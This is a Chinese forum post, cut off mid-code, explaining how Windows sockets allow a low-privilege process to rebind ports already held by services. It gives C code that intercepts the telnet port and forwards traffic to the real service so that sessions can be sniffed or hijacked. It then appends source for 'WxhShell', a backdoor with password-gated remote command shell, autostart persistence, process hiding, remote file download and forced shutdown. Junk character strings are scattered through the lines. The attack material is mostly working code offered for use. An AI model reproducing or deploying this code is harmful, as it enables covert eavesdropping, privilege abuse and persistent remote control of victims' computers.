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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ("a@V8M`$F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N@|<3R!N*e  
&PC6C<<f  
  saddr.sin_family = AF_INET; }d%CZnY&7  
V lx.C~WYn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }TTghE!  
cSPQ NYU:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FJ0I&FyWs  
Jr5S8 c|"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9QU\J0c/  
: #a  
  这意味着什么?意味着可以进行如下的攻击: qx#M6\L!  
v< P0f"GH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UBL{3s^"  
Z1fY' f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ()aCE^C  
U`6|K$@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O:0{vu9AQ  
bSe\d~{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w+6P x#  
}.g5zy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kP`#zwp'Ci  
Zu"qTJE/1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uw3vYYFX  
.))g]CH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }ktIG|GC  
{Z c8,jm  
  #include 6k hBT'n  
  #include 1hw.gn*JK>  
  #include Vit-)o{zr  
  #include    EV( F!&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n3p@duC4  
  int main() s~OcL  5  
  { ~ky;[  
  WORD wVersionRequested; KJ+6Y9b1  
  DWORD ret; 6 /<Hx@r (  
  WSADATA wsaData; 0d+n[Go+S  
  BOOL val; f&CQn.K"  
  SOCKADDR_IN saddr; O[d#-0s  
  SOCKADDR_IN scaddr; 1%_RXQVG  
  int err; i bzY&f  
  SOCKET s; /phMrL=  
  SOCKET sc; !; >s.]  
  int caddsize; O+W<l:|$  
  HANDLE mt; cvsH-uAp  
  DWORD tid;   -*7i:mg  
  wVersionRequested = MAKEWORD( 2, 2 ); VJ\qp%  
  err = WSAStartup( wVersionRequested, &wsaData ); +c% jOl  
  if ( err != 0 ) { T+L=GnYl  
  printf("error!WSAStartup failed!\n"); OJu>#   
  return -1; @aQ:3/  
  } (G F}c\=T7  
  saddr.sin_family = AF_INET; ''auu4vF  
   K/zb6=->  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zr!7*, p  
OB.rETg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yBy7d!@2  
  saddr.sin_port = htons(23); tU?BR<q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U,!qNi}  
  { ]EHsRd  
  printf("error!socket failed!\n"); q0 }u%Yz  
  return -1; =@d#@  
  } CcUF)$kz  
  val = TRUE; ;i[JCNiS\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2-@)'6"n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z5xQ -T`  
  { DinZ Z  
  printf("error!setsockopt failed!\n"); &.E/%pQ`  
  return -1; AO8 #l YP?  
  } (m'-1wX.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  _".h(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wn@~80)$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fNLO%\G~2  
GeJ}myD O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZV--d'YiEm  
  { Jk%5Fw0  
  ret=GetLastError(); XQ=%a5w  
  printf("error!bind failed!\n"); %.d.h;^T  
  return -1; <-.@,HQ+  
  } * sldv  
  listen(s,2); D9TjjA|zS  
  while(1) 'dWUE-  
  { pyV`O[  
  caddsize = sizeof(scaddr); ?lkB{-%rQ  
  //接受连接请求 s[8M$YBf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y-bTKSn  
  if(sc!=INVALID_SOCKET) w=]A;GgA  
  { |yz[mP*;o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G2N0'R "  
  if(mt==NULL) )Wle CS_  
  { ]A}ZaXd  
  printf("Thread Creat Failed!\n"); *` mxv0w~(  
  break; rGQD+ d  
  } L*4"D4V  
  } ?#GTD?3d  
  CloseHandle(mt); Xps \+l%i  
  } C7F\Y1Wj  
  closesocket(s); :@)R@. -  
  WSACleanup(); +F q_w  
  return 0; 0rL.~2)V  
  }   @k{q[6c2 n  
  DWORD WINAPI ClientThread(LPVOID lpParam) gs!'*U)  
  { D7nK"]HG;l  
  SOCKET ss = (SOCKET)lpParam; C$0u-Nx8  
  SOCKET sc; /fUdb=!Z  
  unsigned char buf[4096]; T O]7cC  
  SOCKADDR_IN saddr;  OLIMgc(W  
  long num; }j2;B 8j  
  DWORD val; -BP10-V  
  DWORD ret; k9oi8G'g~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c*B< - l<5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EUs9BJFP  
  saddr.sin_family = AF_INET; ;`^_9 K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N {{MMIq  
  saddr.sin_port = htons(23); 0^tY|(b3/M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E`.hM}h  
  { bvJ@H Z$  
  printf("error!socket failed!\n"); =8#.=J[/  
  return -1; F?tWx+N<{  
  } q#AIN`H  
  val = 100; 9]Ue%%vM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h STcL:b   
  { _cJ)v/]  
  ret = GetLastError(); N$Ad9W?T  
  return -1; 5.ab/uk;M  
  } @:RoYvk$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dqo#+_v  
  { X+sKG5nS  
  ret = GetLastError(); m5 sW68  
  return -1;  ?;v\wx  
  } ?o.d FKUe  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N$e mS  
  { mWYrUI  
  printf("error!socket connect failed!\n"); ]QHp?Ii1  
  closesocket(sc); 5,p;b  
  closesocket(ss); EPn!6W5^  
  return -1; 5- GS@fY  
  } "`cN k26JZ  
  while(1) f8[O]MrO;  
  { vu@.;-2E%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'fl.&"/r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {H(l"KuL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .xwskzJ3  
  num = recv(ss,buf,4096,0); B<L7`xL  
  if(num>0) T5|kO:CbHq  
  send(sc,buf,num,0); bwhH2^ !  
  else if(num==0) "[P3b"=gW  
  break; 'WhJ}Uo\  
  num = recv(sc,buf,4096,0); $365VTh"  
  if(num>0) al}J^MJ  
  send(ss,buf,num,0); L!*+: L DL  
  else if(num==0) ?Xvy0/s5  
  break; #S9J9k  
  } {|>Wwa2e  
  closesocket(ss); XQn1B3k+  
  closesocket(sc); N,K/Ya)1  
  return 0 ; wH!$TAZ:Yw  
  } j24 3oD  
mrRid}2  
66F?exr  
========================================================== <-?C\c~G@  
.Ja].hP  
下边附上一个代码,,WXhSHELL Z5(9=8hB/  
X-nC2[tu'W  
========================================================== mj$Ucql  
6 /YJA*  
#include "stdafx.h" Le?g ,c  
>Y8\f:KQ  
#include <stdio.h> uarfH]T{  
#include <string.h> ' m~=sC_uL  
#include <windows.h> 9h6Oq(0b8  
#include <winsock2.h> .,z6a  
#include <winsvc.h> Wgh@XB  
#include <urlmon.h> WtZI1`\qe  
1N(1h D  
#pragma comment (lib, "Ws2_32.lib") 8u~  
#pragma comment (lib, "urlmon.lib") :p}8#rb  
-O\i^?lD;  
#define MAX_USER   100 // 最大客户端连接数 8 5ET$YV  
#define BUF_SOCK   200 // sock buffer qJ`:$U  
#define KEY_BUFF   255 // 输入 buffer f%.Ngf9  
[HY r|T  
#define REBOOT     0   // 重启 MAkr9AKb,  
#define SHUTDOWN   1   // 关机 ^K"BQ~-w  
$O*@Jg=  
#define DEF_PORT   5000 // 监听端口 cg3}33Z;6  
}r@dZ Bp:  
#define REG_LEN     16   // 注册表键长度 9}9VZ r?  
#define SVC_LEN     80   // NT服务名长度 J6s]vV q"  
-ymDRoi  
// 从dll定义API -MS#YcsV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]87BP%G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :sg}e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Dj96t5R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )%Fwfb  
lvWwr!w  
// wxhshell配置信息 ?< b{  
struct WSCFG { J?3/L&seA  
  int ws_port;         // 监听端口 )pHlWi|h  
  char ws_passstr[REG_LEN]; // 口令 GqRXNs!  
  int ws_autoins;       // 安装标记, 1=yes 0=no FiiDmhu  
  char ws_regname[REG_LEN]; // 注册表键名 I)'bf/6?  
  char ws_svcname[REG_LEN]; // 服务名 ujxr/8mjV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #{|cSaX<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Cty#|6 k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m4@NW*G{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -:ucp2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Oh$:qu7o0&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D`WRy}o  
|~BnE  
}; {7goYzQsi%  
4Wiy2  
// default Wxhshell configuration <v0`r2^S{-  
struct WSCFG wscfg={DEF_PORT, RX>P-vp  
    "xuhuanlingzhe", 0uDDaFS  
    1, IANSpWea?  
    "Wxhshell", o0C&ol_  
    "Wxhshell", 1]G)41  
            "WxhShell Service", q_.fVn:!  
    "Wrsky Windows CmdShell Service", d:';s~  
    "Please Input Your Password: ", sRD fA4/TF  
  1, RJ3oI+gI  
  "http://www.wrsky.com/wxhshell.exe", pc*)^S  
  "Wxhshell.exe" /j GBQ-X  
    }; @M"gEeI9  
)k,n}  
// 消息定义模块 p@G7}'|eyA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nU_O|l9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5&n{QE?Um  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OtqFI!ns  
char *msg_ws_ext="\n\rExit."; |2q3spd  
char *msg_ws_end="\n\rQuit."; 2; ^ME\  
char *msg_ws_boot="\n\rReboot..."; g&FTX>wX  
char *msg_ws_poff="\n\rShutdown..."; g.Xk6"kO  
char *msg_ws_down="\n\rSave to "; n6% `  
+\Vm t[v  
char *msg_ws_err="\n\rErr!"; 2 DW @}[G  
char *msg_ws_ok="\n\rOK!"; Lg7A[\c ~  
EhHxB fAQ  
char ExeFile[MAX_PATH]; en< $.aY  
int nUser = 0; {Uw 0zC  
HANDLE handles[MAX_USER]; =D/zC'l  
int OsIsNt; O6;"cUv  
tON>wmN  
SERVICE_STATUS       serviceStatus; sFFQ]ST2p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |EE1S{!24m  
<:&vAX L  
// 函数声明 |GnTRahV.  
int Install(void); _!',%  +  
int Uninstall(void); YqX$a~  
int DownloadFile(char *sURL, SOCKET wsh); 4 ThFC  
int Boot(int flag); ~w>h#{RB  
void HideProc(void); 1Nt &+o  
int GetOsVer(void); K29/7A/  
int Wxhshell(SOCKET wsl); C27:ty V  
void TalkWithClient(void *cs); !?>V^#c  
int CmdShell(SOCKET sock); }S/i3$F0~  
int StartFromService(void); 1]7gYNzV"  
int StartWxhshell(LPSTR lpCmdLine); ]P?< 2,  
|ri)-Bk ,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9wWBE<}>u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $"kPzo~B_  
lME>U_E  
// 数据结构和表定义 T0w_d_aS  
SERVICE_TABLE_ENTRY DispatchTable[] = lxL5Rit@Px  
{ KG'i#(u[  
{wscfg.ws_svcname, NTServiceMain}, ]Btkoad  
{NULL, NULL} n[ B~C  
}; 3 ~v 17  
B?VTIq>  
// 自我安装 7QsD"rL  
int Install(void) @gI1:-chB  
{ fM;,9  
  char svExeFile[MAX_PATH]; Rg?6eN  
  HKEY key; 7N9NeSH  
  strcpy(svExeFile,ExeFile); /}?7Eni  
!__0Vk[s  
// 如果是win9x系统,修改注册表设为自启动 [%P#ieD4  
if(!OsIsNt) { CZ5\Et6r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %T/@/,7h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K!-OUm5A  
  RegCloseKey(key); ntW@Fm:bw>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9|+6@6VY!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mOE *[S)  
  RegCloseKey(key); 3"y 6|e/5  
  return 0; ! xCo{U=  
    } UD.b b  
  } r`O Yq  
} 75^6?#GS  
else { W:d p(,L  
A'|!O:s   
// 如果是NT以上系统,安装为系统服务 BN_h3|)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |9I)YD  
if (schSCManager!=0) [oLV,O|s|j  
{ ^po@U"  
  SC_HANDLE schService = CreateService gF)9a_R%p  
  ( "%-Vrb=:Y  
  schSCManager, wX,V:QE  
  wscfg.ws_svcname, <g[z jV9p  
  wscfg.ws_svcdisp, %nZl`<M  
  SERVICE_ALL_ACCESS, Z?axrGmg0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hS]w A"\87  
  SERVICE_AUTO_START, ~G!JqdKJ0  
  SERVICE_ERROR_NORMAL, YlHP:ZW-cu  
  svExeFile, I~GF%$-G  
  NULL, iM+` 7L'  
  NULL, -JMn?]  
  NULL, -pu5O 9 @  
  NULL, ^xZh@e5  
  NULL .Bm%  
  ); m@4Dz|  
  if (schService!=0) 6\4-I^=B  
  { \|;\  
  CloseServiceHandle(schService); /at7 H!  
  CloseServiceHandle(schSCManager); tb3V qFx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y0* rY  
  strcat(svExeFile,wscfg.ws_svcname); d!,t_jM0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U.7fMc#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O `}EiyV  
  RegCloseKey(key); O*EV~ {K  
  return 0; /A=w`[<  
    } 6%v9o?:~l  
  } @R[{  
  CloseServiceHandle(schSCManager); JB_fS/I  
} sXIYl% d  
} 7;'33Bm*  
y~SVD@  
return 1; Wl j&_~  
} .JhQxXj  
_P;D.>?  
// 自我卸载 [,zq  
int Uninstall(void) 4U}qrN~=  
{ "/W[gP[y%  
  HKEY key; Ni,nQ;9  
uDF;_bli)H  
if(!OsIsNt) { Fhoyji4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fr@F7s5}  
  RegDeleteValue(key,wscfg.ws_regname); 9njwAKF?  
  RegCloseKey(key); !gsvF\XDM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H];B?G';C  
  RegDeleteValue(key,wscfg.ws_regname); G-aR%]7$g  
  RegCloseKey(key); M+/xw8}a  
  return 0; 'Uok<;  
  } mB?x_6#d9  
} .fA*WQ!lb  
} %oZ:Awx  
else { J$dwy$n  
D Ez,u^   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }Mc b\+[  
if (schSCManager!=0)  <wH+\  
{ -fR :W{u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }lJ;|kx$  
  if (schService!=0) Wa_qD  
  { YG p+[|'  
  if(DeleteService(schService)!=0) { tK#R`AQ  
  CloseServiceHandle(schService); K5""%O+  
  CloseServiceHandle(schSCManager); :{lwz#9V  
  return 0; GIC1]y-'  
  } "}4%vZz  
  CloseServiceHandle(schService); 1yy?1&88S  
  } i|YS>Pw~j  
  CloseServiceHandle(schSCManager); mgs(n5V5  
} a?c&#Jl  
} TJ|Jv8j<s  
I2cz:U7  
return 1; }f}.>B0#  
} x%{]'z  
' W/M>!X  
// 从指定url下载文件 z6>@9+V-&  
int DownloadFile(char *sURL, SOCKET wsh) 6cQgp]%  
{  4M'>oa  
  HRESULT hr; op,L3:R\Z  
char seps[]= "/"; 8[^'PIz  
char *token; .])prp8  
char *file; NFK`,  
char myURL[MAX_PATH]; eI #Gx_mg  
char myFILE[MAX_PATH]; APQq F/  
7nZPh3%  
strcpy(myURL,sURL); e#eVc'=cDR  
  token=strtok(myURL,seps); x&}]8S)  
  while(token!=NULL) *GP2>oEM  
  { jG5HW*>k0  
    file=token; nB[-KS  
  token=strtok(NULL,seps); ~(5r+Z}*`  
  } 2G8pDvBr  
e~'` x38  
GetCurrentDirectory(MAX_PATH,myFILE); jN=<d q ~  
strcat(myFILE, "\\"); P&-o>mM  
strcat(myFILE, file); <Au2e  
  send(wsh,myFILE,strlen(myFILE),0); U, 6iT  
send(wsh,"...",3,0); Ucj?$=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5E:$\z;  
  if(hr==S_OK) aQk&#OQy  
return 0; @ [$_cGR7  
else p6VD*PT$&  
return 1; lW bu`y  
Uv^\[   
} :FyF:=  
9 _d2u#  
// 系统电源模块 }x8!{Y#cF  
int Boot(int flag) 1+o]+Jz|  
{ 3>,}N9P-v  
  HANDLE hToken; !<bwg  
  TOKEN_PRIVILEGES tkp; 1GY2aZ@  
%|Ps|iV  
  if(OsIsNt) { k3\N.@\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D}-.<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >.h:Y5  
    tkp.PrivilegeCount = 1; ,Z. sGv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Rx%S<i;9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OWd'z1Yl  
if(flag==REBOOT) { GkIE;7#2kX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *bkb-n Kw  
  return 0; N<EVs.7  
} +)]YvZ6%[,  
else { $YYWpeW '  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9KSi-2?H  
  return 0; _IH" SVub  
} rg/{5f  
  } DwD$T%kF  
  else { "fFSZ@,r  
if(flag==REBOOT) { Xtp8 ^4Va  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %!|w(Povq  
  return 0; ;*K4{wvG  
} R>' %}|v/  
else { MB plhVK8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tt;F-  
  return 0; Zg;$vIhn  
} f60w%  
} x2"iZzQlD  
LQ0/oYmNc  
return 1; yNu_>!Cp5  
} {.Tx70kn  
^l &lwSRVt  
// win9x进程隐藏模块 6( HF)z  
void HideProc(void) [P$Xr6#  
{ UA[`{rf  
DM.lQ0xk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r8k(L{W  
  if ( hKernel != NULL ) |rmelQ-  
  { 4=PjS<Lu8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CB@7XUR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :qYp%Ub  
    FreeLibrary(hKernel); ~zp8%lEe  
  } "TRS(d|3  
37AVk`a  
return; 5>532X(0  
} j;x()iZ<  
ez4!5&TzRm  
// 获取操作系统版本 L"_X W no  
int GetOsVer(void) gGqrFh\  
{ p|UL<M9{a]  
  OSVERSIONINFO winfo; [K{{P|(q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $-4](br|  
  GetVersionEx(&winfo); gesbt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  :Mx  
  return 1; _0/unJl`  
  else P5S ]h  
  return 0; %&ejO= r  
} cx}Yu8  
J8|MK.oD  
// 客户端句柄模块 "CJVtO  
int Wxhshell(SOCKET wsl) j50vPV8m  
{ MJn-] E  
  SOCKET wsh; _k84#E0  
  struct sockaddr_in client; ^@fD{]I  
  DWORD myID; %L|fTndKH  
H R>Y?B{  
  while(nUser<MAX_USER) p8Vqy-:  
{ OvfluFu7  
  int nSize=sizeof(client); 'g v0;L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V^~RDOSy7n  
  if(wsh==INVALID_SOCKET) return 1; vEv kC  
FaHOutP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =~^b  
if(handles[nUser]==0) =?sG~  
  closesocket(wsh); /\J0)V  
else @!ChPl  
  nUser++; )ycI.[C  
  } -H| 9 82=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .qBc;u  
tr<~:&H4T  
  return 0; wmVmGa R  
} ]xC56se  
 *7m lH  
// 关闭 socket TG2#$Bq1  
void CloseIt(SOCKET wsh) y:G%p3h)[  
{ m$0W^u  
closesocket(wsh); EOPx 4+o  
nUser--; Y&2FH/(M  
ExitThread(0); V"Q\7,_k.  
} ?_Qe45 @  
/A_:`MAZ  
// 客户端请求句柄 h*w9{[L  
void TalkWithClient(void *cs) XM'tIE+|  
{ w[~G^x&  
m^X51,+<  
  SOCKET wsh=(SOCKET)cs; CS^6$VL7e  
  char pwd[SVC_LEN]; OVK )]- ~  
  char cmd[KEY_BUFF]; 84ij4ZYe  
char chr[1]; tBo\R?YRs  
int i,j; An2 >]\L  
-cqE^qAdX  
  while (nUser < MAX_USER) { z?/_b  
K3&xe(  
if(wscfg.ws_passstr) { 7FX4|]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8ud12^s$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R%r bysP  
  //ZeroMemory(pwd,KEY_BUFF); Tigw+2  
      i=0; 6St=r)_  
  while(i<SVC_LEN) { |Xt G9A>  
xAm tm"  
  // 设置超时 X[Y0r  
  fd_set FdRead; |}zWH=6  
  struct timeval TimeOut; %m&6'Rpfk  
  FD_ZERO(&FdRead); f*k7 @[rSv  
  FD_SET(wsh,&FdRead); qxZIH  
  TimeOut.tv_sec=8; y)kxR  
  TimeOut.tv_usec=0; >Kgw2,y+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q,v<:sS9T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QM,#:m1o  
{}$9 70y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -CPtYG[s  
  pwd=chr[0]; 7x)Pt@c  
  if(chr[0]==0xd || chr[0]==0xa) { jAJ='|[X\  
  pwd=0; cILS  
  break; 3Z*r#d$nh:  
  } fA=Z):w  
  i++; O9ex=m `L  
    } 0`/G(ukO  
,dC.|P' `  
  // 如果是非法用户,关闭 socket x $uhkP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7# AIX],  
} =D<0&M9C  
]545:)Q1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (\\;A?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *%xbn8  
Y ^^4n$  
while(1) { 4m*)("H  
XkI'm\W  
  ZeroMemory(cmd,KEY_BUFF); C-M_:kQ[U  
+p 6Ty2rz  
      // 自动支持客户端 telnet标准   xHgC':l(0  
  j=0; (p]FI#y  
  while(j<KEY_BUFF) { ?Y"%BS+pt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 161P%sGx2  
  cmd[j]=chr[0]; 1>(EvY}Y\  
  if(chr[0]==0xa || chr[0]==0xd) { R"ON5,E  
  cmd[j]=0; G,C`+1$*  
  break; *6I$N>1  
  } WD5J2EePT  
  j++; (MGg r  
    } MQ,K%_m8  
IQ&PPC  
  // 下载文件 WNR]GI  
  if(strstr(cmd,"http://")) { vF\>;pcT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O_QDjxj^rZ  
  if(DownloadFile(cmd,wsh)) ,gV#x7IW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z'l$;9(y  
  else u(vZOf]jL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r1!1u7dr t  
  } ]V"P &; m  
  else { v[L+PD U  
a (U52dO,  
    switch(cmd[0]) { [?K>s>it  
  [>ghs_?dZ  
  // 帮助 77\+V 0cF  
  case '?': { j!+jLm!l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %q5dV<X'c  
    break; [,;Y5#Y[5  
  } !*]i3 ,{7v  
  // 安装 4DL;Y  
  case 'i': { 7hJX  
    if(Install()) yaz6?,)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yxq!7J  
    else ~n=DI/AJ@-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2u.0AG   
    break; i1evB9FZ1z  
    } $J1`.Q>)4  
  // 卸载 rHKO13WF  
  case 'r': { d(IJ-qJ N  
    if(Uninstall()) i l^;2`]&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ("U<@~  
    else JrcbJt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _[rFnyC+0V  
    break; { ^o.f  
    } l~Jd>9DwY  
  // 显示 wxhshell 所在路径 !Yof%%m$;  
  case 'p': { X>I3N?5  
    char svExeFile[MAX_PATH]; U["0B8  
    strcpy(svExeFile,"\n\r"); r+#{\~r7T  
      strcat(svExeFile,ExeFile); x2v0cR"KL  
        send(wsh,svExeFile,strlen(svExeFile),0); N7?]eD  
    break;  kN=&"  
    } Y`~B> J  
  // 重启 h,c*:  
  case 'b': { @c^ Dl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (dlp5:lQz  
    if(Boot(REBOOT)) 88HqP!m%P:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J~%43!X\K  
    else { L[<#>/NPy  
    closesocket(wsh); ;6/WjUDw<|  
    ExitThread(0); m>=DJ{KQ  
    } ^E^`"  
    break; J9lZ1,22  
    } 4iAF<|6s  
  // 关机 :#:|:q.]  
  case 'd': { MpOU>\  
